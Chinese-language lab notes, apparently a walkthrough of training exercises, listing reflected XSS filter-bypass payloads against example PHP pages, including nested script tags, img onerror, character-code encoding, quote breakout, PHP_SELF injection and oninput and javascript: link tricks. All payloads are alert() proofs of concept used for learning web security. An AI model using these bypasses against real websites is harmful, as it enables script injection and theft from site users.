过滤了小写的``,可以使用大小写绕过
过滤了不区分大小写的``与``,可以使用嵌套的script标签绕过,
url/example.php?name=<scr<script>ipt>alert("xss")</scr</script>ipt>
包含script字符串即报错,可以使用img标签绕过。
URL/example.php?name=<img src=""onerror="alert('xss')">
包含alert字符串即报错,可以使用编码方式绕过。URL/example.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
代码在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,可以使用单引号绕过。
url/example.php?name=';alert('xss');'
post地址使用了当前url,我们构造当前url地址达到xss目的,尝试构造代码如下
url/example.php/[/url]"><script>alert('xss')</script>
使用str_replace()函数将``用空格取代。这种防护几乎没有什么作用,只需要简单改变大小写即可绕过该函数的防御。
输入`alert(/xss/)`即可。
Name处限制了字符长度。但是PHP源码中并没有对Name的长度进行验证。可以采用分段绕过,即“/* */ ”的方式
需要先将value属性闭合
"><script>alert('yes')</script>
oninput事件
属性 值 描述
Oninput script 当元素获得用户输入时运行的脚本。
该事件会在元素获得用户输入时执行包含的脚本
123' oninput='alert(123)
由于使用的是oninput事件,需要捕获到用户输入才能执行事件,所以在上面的输入框中输入即可触发alert()函数
判断value使用的是单引号还是双引号方法:
输入' " > 三个字符测试闭合,查看文本框内的内容
文本框无内容就是单引号,内容为 ' 即为双引号
Oninput和script都被替换,使用伪链接方式假造一个超链接尝试:
"> <a href="javascript:alert('test')">link</a>
点击链接
网友评论